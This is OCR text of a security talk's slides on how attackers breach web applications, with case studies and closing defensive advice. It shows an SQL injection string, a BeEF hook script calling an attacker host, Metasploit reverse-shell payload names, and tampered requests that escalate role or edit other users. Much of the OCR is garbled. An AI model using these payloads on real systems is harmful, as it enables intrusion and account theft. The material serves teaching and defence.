APPLICATIONS THROUGH
AN ATTACKER’S LENS
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WHAT’S GOING WRONG

Deconstructing Breaches




MAY, 2011

CITIGROUP
200,000 RECORDS STOLEN

BREACHED:

enNames
eaccount numbers
ec-mall addresses transaction histories



THE ATTACK

bank.com/viewAcct?id=684093411

Acct ...411
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THE ATTACK

bank.com/viewAcct?id=684093411 bank.com/viewAcct?1d=684093412

Acct ...411 Acct ...412



One security expert tamiliar with the investigation wondered how the hackers could have
known to breach security by focusing on the vulnerability in the browser. “It would have
been hard to prepare for this type of vulnerability,” he said. The security expert insisted

on anonymity because the inquiry was at an early stage.

6/14/2011 nytimes.com



INDIRECT OBJECT REFERENCES

The application uses unverified data in a SQL call that is accessing account information:

,String query = "SELECT * FROM accts WHERE account = 2";

:PreparedStatement pstmt = connection.prepareStatement (query
I

Ly )i

[
ipstmt.setString( 1, request.getParameter("acct"));
I

[
1ResultSet results = pstmt.executeQuery( );
[

-
The attacker simply modifies the ‘acct’ parameter in their browser to send whatever
account number they want. If not verified, the attacker can access any user’s account,
iInstead of only the intended customer’s account.

OWASP TOP 10
2013 #4, 2010 #4, 2007 #4, 2004 #2, 2003 —



"When you look at how the breaches are occurring, it's like penetration testing 101°
Alex Cox, principal research analyst at NetWitness

6/15/2011 DarkReading.com



NOVEMBER, 2012

APPLE & AT&T
114,000 RECORDS EXPOSED - MILITARY, TOP EXECS

BREACHED

subscribers' email addresses
Phone [CC-ID

DETAILS

e No password or token required
e XHR Request w/ User Agent for iPhone
e Predictable ICC-ID within HTTP Request —> Associated email address



https://www.tlickr.com/photos/kallelboo/4662852294/



SQL INJECTION & 2015

e Planned ParentHood
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that ® G aana M us | & SerVi ce

are still vulnerable, (e.g., Hibernate Query Language (HQL)): P T@‘Stra COrpOrate network

Scenario #1: The application uses untrusted data in the construction of the following BREACHES & SQL VULNS
vulnerable SQL call:
T e Joomla
' String query = "SELECT * FROM accounts WHERE custID='" + : ® PatreOﬂ
Erequest.getParameter("id") R :

L =

e o e e .
. Query HQLQuery = session.createQuery(“FROM accounts WHERE : ® WOr‘d Trade Orgaﬂlzathﬂ
I I
:LcustID= “ + request.getParameter('1d") + s E ® SAP _ M@C“Ca‘ App

In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or ‘& more

"1'="1. For example:
e e e e -
‘http://example.com/app/accountView?id=' or '1'='1 ;
L e e e e e e e e e e e e e — e — e — — e — m e —— e —————— _

This changes the meaning of both queries to return all the records from the accounts table.
More dangerous attacks could modify data or even invoke stored procedures.



MAY, 2015

IRS
220,000+ RECORDS BREACHED

BREACHED
Taxpayer Past Returns

DETAILS

e Used user information gathered from multiple sources

e Automated completion of user questions through IRS Get Transcript
application

e Return: “nearly $50 million in refunds stolen before the agency spotted the
problem’




ONGOING: CREDENTIAL THEFT
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http://haveibeenpwned.com

THE ATTACKER’S EYE

Targeting & Exploiting Applications




ATTACKING THE FRONT DOOR



ATTACKING THE FRONT DOOR

Login

steve@gmail.com password1
teve@gmail.com password?
steve@gmail.com password3

op)

Username:

Password:

Login now Regqister




Many Users

1 User

ATTACKING THE FRONT DOOR

Password Reuse Attack
Hard to Detect

Targeted
Hard to Detect

Single Password Guess

Widespread
Easy to Detect

Traditional Brute Force
Easy to Detect

Many Passwords Guessed



Many Users
Targeted

1 User
Targeted

ATTACKING THE FRONT DOOR

Password Reuse Attack
Hard to Detect

Targeted
Hard to Detect

Single Password Guess

Widespread
Easy to Detect

Traditional Brute Force
Easy to Detect

Many Passwords Guessed



compromised
server

Stolen Credentials

joe: abc123 @
<

sue: password1 . .
bob: MyPOn3y sue:passwordl

joe: abc123

https://site.com/login



Sentry MBA 141 BETA 3 TSNS Y I R .

@ Abort

Settings
Lists
History
Tools

Progression
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Site: https: //www. spotify. com/us/account/overview/
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118 204:8080 pat333 ~ dseen Caling mamn URL - Last status: Failure Souwrce Kepword Match > Found Key [>Incorect usemame or password<] - Source Length: 9950 - Until Tim
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ATTACKING THE SIDE DOOR



ATTACKING THE SIDE DOOR

You need to enter an answer to the security question below!

Please enter the answer to the security question below which you provided to prove your

identity:
Question: _What is your favorite color? | ]
Answer: |

Re-type Answer:

" Submit

e —————————————

We ask you to type the answer twice because we don't display what you are typing -
that's so that someone can't read your question and answer over your shoulder.




ATTACKING THE SIDE DOOR

“secret questions are neither secure nor reliable enough to be used as a
standalone account recovery mechanism”™

English Speakers: “What is your favorite food?” - 19.7% with 1 guess
Arabic Speakers: "What's your first teacher’s name?” - 24% with 10 guesses
Spanish Speakers: "What is your father's middle name”?” - 21% with 10 guesses
Korean Speakers: "What is your city of birth”?” - 39% with 10 guesses
Korean Speakers: "What is your favorite food?” - 43% with 10 guesses

googleonlinesecurity.blogspot.com



FUN WITH DATA



FUN WITH DATA

Request URL: htips://account. com/login/?onSuccessRedirectURL=https%3A%2F
%2Faccount. .com%2F

Request Method: POST
Status Code: HTTP/1.1 200 OK

-
-

nequest neaaers
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Referer: https://account. com/login/?onSuccessRedirectURL=https%3A%2F
%2Faccount.| >om%2F
Host: account .com

Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/ntml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

s_sq: [[B]]
s_cc: true
bounceClientVisit913v: {"Ip":"hitps://account. com/login/?onSuccessRedirectURL=https%3A%2F
%2Faccount.| com%2F","r":"www.google.com"}

bounceClientVisit913: {}
aam_uuid: 12714439291804913970784923033496538135
_gat_guaru: 1
_gat: 1
_ga: GA1.2.1908309252.1447785806

username: asdf
password: asdf
marketild: CBO1



FUN WITH DAT

Request URL: https://accoun s.com/login/?onSuccessRedirectURL=https%3A%2F Unchecked Redirect?
%2Faccount .com%2F

Request Method: POST
Status Code: HTTP/1.1 200 OK

derc

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Referer: htips://account. com/login/?onSuccessRedirectURL=https%3A%2F
%2Faccount .com%2F
Host: account. com

Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/ntml,application/xhtml+xml,application/xml;q=0.9,*/*;0=0.8

|"q;'-—z’-—»' L PN 4 ’»‘. — )

Sent Cookie

s_sq: [[B]] Injection”? Malformed JSON?
S_cc: true

bounceClientVisit913v: {"Ip":"hitps://account. com/login/?onSuccessRedirectURL=hiinss
%2Faccount. com%2F","r":"www.google.com"}

bounceClientVisit913: {}
aam_uuid: 12714439291804913970784923033496538135 Oracle Fusion
_gat_guaru: 1
_gat: 1
_ga: GA1.2.1908309252.1447785806

4 o = pa e S— =]
lﬁ-‘ A » . o ) | “ -l. "

Sent rorm vata
username: asdf Hidden Field lteration

password: asdf
marketid: CBO1




Request URL: htip:/www.ir 1.com/Login.html
Request Method: POST
Status Code: HTTP/1.1 200 OK

—
—_ P\\

da a - \w - p— - Le a -
- ‘—c’\— et S e e S et St S ' St

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Referer: htip://www.rr 1.com/Login.html
Host: www tin.com
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

rsi_segs: D05509_117611D05509_10971ID05509_11460/D05509_12298ID05509_0
NotificationCookie: 11/17/2015 6:51:59 PM
mb_visitor_type: Prospect
LeadSource_225: SourceName=https://www.google.com/
GaHelper: assgurpbydhpfnquiprkt13s_18:51:59
CheckedIP: CheckedIP=True
ASP.NET_Sessionld: assgurpbydhpfnquiprkti3s
asi_segs: D11761I1D10971ID114601D12298ID0
_ga: GA1.2.867373361.1447786328
_dc_gtm_UA-113890-1: 1
__utmz: 167598498.1447786328.1.1.utmccn=(referral)lutmcsr=google.comlutmcct=undefinedlutmcmd=referral
__utmc: 167598498
__utmb: 167598498
__utma: 167598498.867373361.1447786328.1447786328.1447786328.1



Request URL: http:/www.ir 1.com/Login.html
Request Method: POST
Status Code: HTTP/1.1 200 OK

L uQ— \-‘W- L] -VV-\.-V \/

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Referer: http://www.rr 1.com/Login.htmi
Host: www tin.com
Connection: keep-alive
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Alternate App Flows”

N_A.— -A_.
Sy o) olo)
\-/:;! M-\-—V

rsi_segs: D05509_117611D05509_10971|D0SSe8=
NotificationCookie: 11/17/2015 6:51:59-Pk

mb_visitor_type: Prospect |

3001D05509_12298ID05509

XSS Injection Point?

GaHelper: assgurpbydhpfnqu1prkt135 18: 51 :59
CheckedIP: CheckedIP=True
ASP.NET_Sessionld: assgurpbydhpfnquiprkt13s
asi_segs: D11761I1D109711D11460ID12298ID0
_ga: GA1.2.867373361.1447786328
_dc_gtm_UA-113890-1: 1

__utmz: 167598498.1447786328.1.1.utmcen=(referral)lutmcsr=google.comlutmcct=undefinedlutmcmd=referral
__utme: 167598498
__utmb: 167598498
__utma: 167598498.867373361.1447786328.1447786328.1447786328.1



Request URL: https://account.me com/userpassword/requestreset?p=www.m 1.com&cid=mb

Request Method: POST
Status Code: HTTP/1.1 200 OK

<eqguest neaaqers
| u .-,\- At D e bt e Dt Dt D e St
-

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox/42.0
Referer: https://account.n n.com/userpassword/requestreset?p=www.| lin.com&cid=mb

Host: account.r in.com
Connection: keep-alive
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

rsi_segs:

CookiesAccepted:

CheckedIP:
BlGipServerpool-prod_public_websites_8080:
asi_segs:

_gat_UA-113890-1:

_ga:

_dc_gtm_UA-113890-1:

utmz:

__utmc:
__utmb:
__utma:
__RequestVerificationToken:

D05509_117611D05509_10971ID05509_114601D05509_122171D05509_12298ID05509_0
CookiesAccepted

Checked|P=True

2370909962.36895.0000

D11761ID10971ID11460ID12217ID12298ID0

1

GA1.2.867373361.1447786328

1

167598498.1447786328.1.1.utmcen=
(referral)lutmcsr=google.comlutmcct=undefinedlutmcmd=referral

167598498
167598498
167598498.867373361.1447786328.1447786328.1447786328.1

u2DhMz86wdZISQSUaRelL425MT18IFAyJEh1vwjgbjnmkmWiNAbUXx-
xVZILEdvmR5MHhjGGyB1NkxO7PoQTWnY GWitsmj8KbVOdbQWDjGwPg1



Request URL: https://account.me com/userpassword/requestreset?p=www.m 1.com&cid=mb
Request Method: POST
Status Code: HTTP/1.1 200 OK

aguest neaaqaers
LA - \.-Ivb- . -\/v—'\-d—b

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:42.0) Gecko/20100101 Firefox@d2.0

Referer: htips://account.n n.com/userpassword/requestreset?p=www.| C

Host: account.r in.com
Connection: keep-alive

Accept-Language: en-US,en;q=0.5 -

Accept-Encoding: gzip, deflate Multi use form?

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

al .lﬂ,i;‘.ur':.‘lun,“‘l

ab, xy, zz ?

rsi_segs: D05509_11761ID05509_10971ID05509_11460ID05504 NPT,

CookiesAccepted: CookiesAccepted
CheckedIP: Checked|P=True
BlGipServerpool-prod_public_websites_8080: 2370909962.36895.0000

asi_segs: D11761ID109711D11460ID122171D12298ID0

_gat_UA-113890-1: 1
_ga: GA1.2.867373361.1447786328

_dc_gtm_UA-113890-1: 1

utmz: 167598498.1447786328

Password Reset Token?

.utmecn=
(referral)lutmcsr=goggte.comlutmcct=undefinedlutmcmd=referral

__utmc: 167598498
__utmb: 167598498

utma: 167598498.867373361.1447786328.1447786328.1447786328.1
__RequestVerificationToken: u2DhMz86wdZISQSUaRel425MT 18IFAyJEh1vwjgbjnmkmWiNAbUx-

xVZOLEdvmR5MHhjGGyB1NkxO7PoQTWnY GWitsmj8KbVOdbQWDjGwPg1



FUN WITH ACCESS CONTROL



ACCOUNT SIGNUP

username username

email email

password password
role

user

admin




ACCOUNT SIGNUP

emaill emaill
passwora password
role
user admin
POST /signup HTTP/1.1 POST /signup HTTP/1.1
Host: site.com Host: site.com
username=foo&email=bar@foobar. username=foo&email=bar@foobar.

com&password=123&role=9 com&password=123&role=3



ACCESS CONTROL
PRESENTATION

site/com/viewUser?ID=551234 site/com/viewUser?ID=551235

_—

User Info

X



ACCESS CONTROL
BUSINESS

CREATE ADMIN New Admir

POST /createAdmin HTTP/1.1 Username

Host: site.com

permissions

username=foo&email=bar@foobar.
com&password=123&role=admin



ACCESS CONTROL

DATA
EDIT USER site/com/editUser?ID=551234
POST /editUser HTTP/1.1 Enter New Name
Host: site.com I

ID=551234&name=Bob



ACCESS CONTROL

DATA
EDIT USER site/com/editUser?ID=551234
POST /editUser HTTP/1.1 Enter New Name
Host: site.com I

ID=551235&name=Bob



DON’T FORGET THE OBVIOUS

Cross Site Scripting SQL Injection



THREATS

The Enemy & Profit




POTENTIAL ADVERSARIES

Organized Crime Hacktivists Nation States



APP VECTORS FOR DATA BREACHES

USE OF STOLEN CREDS 50.7%
USE OF BACKDOOR OR C2
SQLI

RFI

ABUSE OF FUNCTIONALITY

BRUTE FORCE

XSS

PATH TRAVERSAL

FORCED BROWSING

0S COMMANDING 1.5%




SCALABLE BLACKMARKET BUSINESSES

"Paunch had more than 1,000 e r——— —
CUStOrr erS and WaS earnirg Hauano: ] Kowew: = AToOSHOBNEME: S oEK, e[

$50,000 per month from his e S
3A BECb MEPUOS 1 0-3 ZOA) T

llegal activity” 132090 11306100w @ 1187 @ | &

W JavaDES > 29 244 @
3A CEMOAHS 11.55% W MDAC > 6 0.51 @
3013 xutu 2760 xoctul 300 zarpyzkn @ MPOEWE
S CTPAHDI XNUThI 1 XOCThl SAIrPY3KN %6 -

EE United States 12417 10981 1119 10.19 @
NOTOKH XWTbl 1  XOCTbl  3ATPY3KM O B (=3 Brazi 154 101 S 891 @
DENIS > 13285 11505 1187 10.32 @ ok Inda o3 = E 1143 @
default > 4 3 1 0.00 e | Japan 47 9 3 33.33 @

f:§ Mexico 37 28 0 0.00
BPAY3EPbBI XUTbl XOCTbl  3ATPY3KWM b 1 . . Argentina 31 12 2 16.67 @
@ Chrome > 2273 2148 485 22.58 mm Bulgaria 31 10 0 0.00
 Mozila > 104 72 11 15.71 @ == Indonesia 29 17 5 29.41 @
@ Firefox > 5033 4847 581 11.99 @ IS Romania % o 9 0:00
) Opera > 360 283 2 7.75 @ [ Pakistan 26 13 1 769 @
¥ MSIE > 4232 3080 77 2.51 @ 2 Philippines 24 16 1 6.25 @
& Safari > 1287 1102 11 1.00 @ “& Israel 22 14 2 1429 @

[y Chile 19 B 0 0.00
0oC XWUThl XOCTbI 3ATPY3KN 090t =W Singapore 18 15 0 0.00
£y Windows 2003 21 18 5 27.78 G e Hungary 18 11 0 0.00
# Windows 2000 41 22 4 18.18 @ -
{\ Linux 179 143 19 13.48 @

fy WidowsXP 33 36 3 RR@



Operation systems statistics

0S

Windows Yista
Windows XP
Windows XP SP2
Other

Windows 7
Windows 2000
Windows 2003
Windows

LI

Windows 98

U == == LW =

Yisits Exploited Percent

6371
£135
1211
2185
3032
Fi=
36
12
223
13

057
=1
200

o o A v 0

J

15.02%
11.531%
16.92%
1.19%
0.31%
10.23%
16.67 %
33.33%
0%

U%

™S

®Phoenix Exp

B COMES WITH TRIPPLE SYSTEM

oit's Kit

Advanced browsers statistics

Browser
MSIE v8.0 3717
Firefox v3.5.9 2287
Firefox v3.6.3 7400
MSIE vr7.0 1240
Firefox v3.0.19 641

MSIE vB.0 437
Chrome Q40
Other 144

Firefox v3.5.7 128
Firefox v3.5.8 108

™ e m&mes s ™ ™~ Lo T, |

437
Jol
361
298
152
&9
61
29
16
16

“r-

Yisits Exploited Percent

11.76%
16.66%
4.80%
16.2%
23.71%
20,37 %
6.49%
16.67%
12.9%
14.581%

- 20y

V2.0

Yienu

Simple statistics

sdvanced statistics

Countries statistics

Referers statistics

Clear statistics

Upload .ex
EXIt



crishepa

pack

MAIN + REFRESH +« REFERRERS + COUNTRIES + BLACKLIST CHECK » DOWNLOADER + IFRAME+ CLEAR STATS « SETTINGS « LOGOUT




(ymetasploit

community
& Overview == Analysis
Home Test Hosts
| Hosts lotes 1 Services
Show | 10 ¥ entries
IP Address Name

o

=SS EE TR AL\ A"

Showing 1 to 3 of 3 entries

Sessions e

Vulnerabilities

OS Name

0\

%

& ©)
4 Campaigns - Web Apps Modules Tags - | Reports Tasks
Nexpose ) Modules 5 Bruteforce ) Exploit New Host
Qéf'_d;THlHi Evidence
Version Purpose Services Vuins Notes Updated Status

Compatible Payloads

generic/custom
generic/shell bind tcp
generic/shell reverse tcp
php/bind perl
php/bind perl ipv6
php/bind php
php/bind php ipv6
php/download exec
php/exec
php/meterpreter/bind tcp

Disclosure Date

php/meterpreter/bind tcp ipv6b
php/meterpreter/reverse tcp
php/meterpreter reverse tcp

php/reverse perl
php/reverse php

Rank

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

Description

Custom Payload

Generic Command Shell, Bind TCP Inline
Generic Command Shell, Reverse TCP Inline
PHP Command Shell, Bind TCP (via Perl)
PHP Command Shell, Bind TCP (via perl)
PHP Command Shell, Bind TCP (via PHP)
PHP Command Shell, Bind TCP (via php)
PHP Executable Download and Execute
PHP Execute Command

PHP Meterpreter, Bind TCP Stager

PHP Meterpreter, Bind TCP Stager IPv6
PHP Meterpreter, PHP Reverse TCP Stager

PHP Meterpreter, Reverse TCP Inline

PHP Command, Double Reverse TCP Connection (via Perl)
PHP Command Shell, Reverse TCP (via PHP)

IPv6

IPv6



¢ BeEF Control Panel

& @ 10.10.10.208:3000/ui/panel

Hooked Browsers
4 ) Online Browsers

4 £3910.10.10.208

7 M X 10.10.10.202
> () Offline Browsers

<script src="http://<attacker|P>:3000/hook.|s” type_”text/Javascrlpt ></script>

Details Logs

ik

' || Getting Started *1 Logs

Commands |

C

Current Browser

Rider XssRays

Module Tree

4 ) Browser (10)
> () Hooked Domain (17)
. Play Sound
_ Unhook
. Webcam
Get Visited Domains
& Detect Popup Blocker
& Detect FireBug
@ Detect Unsafe ActiveX
@ Fingerprint Browser
@ Get Visited URLs
> [_) Chrome Extensions (7)
> (] Debug (3)
> [ Exploits (14)
> [ ) Host (13)
> [_JIPEC (6)
> (] Metasploit (225)
> (] Misc (6)
> [_] Network (8)
> |_) Persistence (4)

Module Results History

id ~ date label

0 2013-02-07 15:23 command 1
1 2013-02-07 15:34 command 2

—eEF

the victim page

Thu Feb 07 2013 15:23:47 GMT-0500 (Eastern Standard
Time)
data: result=User pressed allow, you should get pictures
soon

Thu Feb 07 2013 15:23:47 GMT-0500 (Eastern Standard
Time)

data: picture=/9y4AAQSKZIRGABAQAAAQABAAD
2wCEAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB
/AABEIAPABQAMBEQACEQEDEQH
IXAGIAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBWG)
/I5+gEAAWEBAQEBAQEBAQAAAAAAAAECAWQFBgcICQo
M19vid+fri2gAMAWEAAREDEQA
IAP7+KACgAOAKACGAOAKACGAOAKACOADAKACGADAKA
/wDI2Q==

Thu Feb 07 2013 15:23:48 GMT-0500 (Eastern Standard
Time)
data: picture=/9y4AAQSKZIRGABAQAAAQABAAD
2wCEAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEB
/AABEIAPABQAMBEQACEQEDEQH
IXAGIAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBWG)
fj5+gEAAwEBAQEBAQEBAQAQAAAAAAECAwQFBchCQo

ARACVAFER{(4PITAN an

KA

eard v



BLACKMARKET PRICES

Current DDoS Attack Prices
Attacks Per Hour = $3-%5

Hacker service Price

Attacks Per Day = $60-390 Social Security number (sold as part of 'Fullz’ dossier) $30
Attacks Per Week = $350-$600 I .11
Nuclear Exploit Pack Lease Rates Health insurance credentials $20

50---ad
’ i Visa or MasterCard credentials Sd
$400--- a week
$600 ---a month American Express credentials 7
Sweet Orange Exploit Pack Lease Rates Discover credit credentials S8
$450---a week Credit card with magnetic stripe or chip data $12
$1,800---a month
Nuclear and Sweet Orange are similarly priced Bank account number (balance of $70,000 to $150,000) $300 or less
in their weekly rates but Nuclear at $600 a

month is far cheaper by the month than Sweet Full identity Kitz' $1,200 to $1,300
Orange which is $1800 a month to lease. ‘ |

Source: Dell SecureWorks

® $1800




Currencies, banks, money markets, clearing houses, exchangers:

» The Green Machine! & Forum type marketplace with some of the oldest and most experienced vendors around. Get
your paypals, CCs, etc, here!!

» The PaypalCenter # Live Paypal accounts with good balances - buy some, and fix your financial situation for awhile.

= Premium Cards @ Oldest cc vendor, Top quality Us & Eu credit cards!

» Hack Masters Trust & Risk Free Pre-Paid cards for sale.

» Unique Opportunities g Offering a couple of high quality products for a great deal!

» Hidden Wallet @ - Tor Anonymous Hidden Bitcoin Wallet

» Paypal Baazar @ paypal accounts for sale

» Cash Machine @ - Phished PayPal, Neteller, Skrill, BoA, Wells fargo bank Accounts, Paysafecard's, US & EU Credit
cards are available here.

» Shadow Wallet & - An Anonymous user Friendly Bitcoin Wallet/Mixer - Highly Regarded Service

» SOL's USD Counterfeits @ - High Quality 20 USD Counterfeit Notes - Trusted Service.

» OnionWallet & - Anonymous Bitcoin Wallet and Bitcoin Laundry.

» The Queen of Cards & - #1 Female Carding Forum for CCs, Pre-Paid, WU, MG, Bank & PayPal Transfers, Since 2011!
= Wall Street @ - Paypal accounts, credit cards, we have everything!!

» Cheap Euros @ - 20€ Counterfeit bills. Unbeatable prices!!

= Paypal-Coins # - Buy a paypal account and receive the balance in your bitcoin wallet.

» EasyCoin @ - Bitcoin Wallet with free Bitcoin Mixer.



ID LOGIN EMAIL COUNTRY BALANCE PRICE
#20141209 3| *****muster55 US $855.23 $170
#20141209 2 | *****bixby77 Canada $1,213.33 $205
#20141209 *kk*k*bussid325 UuS $3,549.56 $700
#20141208 *kk*kkyurst Germany $2,544.58 S400
#20141207 5| *****buzzkill US $2,088.74 $348
#20141207 4 | *****ianoshvaly |Poland $2,031.30 |$340
#20141207 3 | *****futterd’ US $1,788.64 $300
#20141207 2 | *****makey’ US $1,575.49 $250
#20141207 **%** hankinson |UK €1,460.27 $250
#20141206 4 | *****dowalski US $1,427.69 $235
#20141206 3 | *****xw8tdu US $1,288.58 |$214
#20141206 2 | *****rock895 Germany €1,107.01 $198




YOU

What to do?




UNDERSTAND YOUR APPLICATION’S VALUE
& ADVERSARIES



LEARN TO HACK

OWASP Top 10

OWASP Security Shepherd
OWASP WebGoat

Bug Bounty Programs
Your Applications



LEARN TO DEFEND

Capture The Flag

Fix Security Bugs
OWASP Top 10
OWASP Cheat Sheets



THANKS

MICHAEL COATES
@_MWC




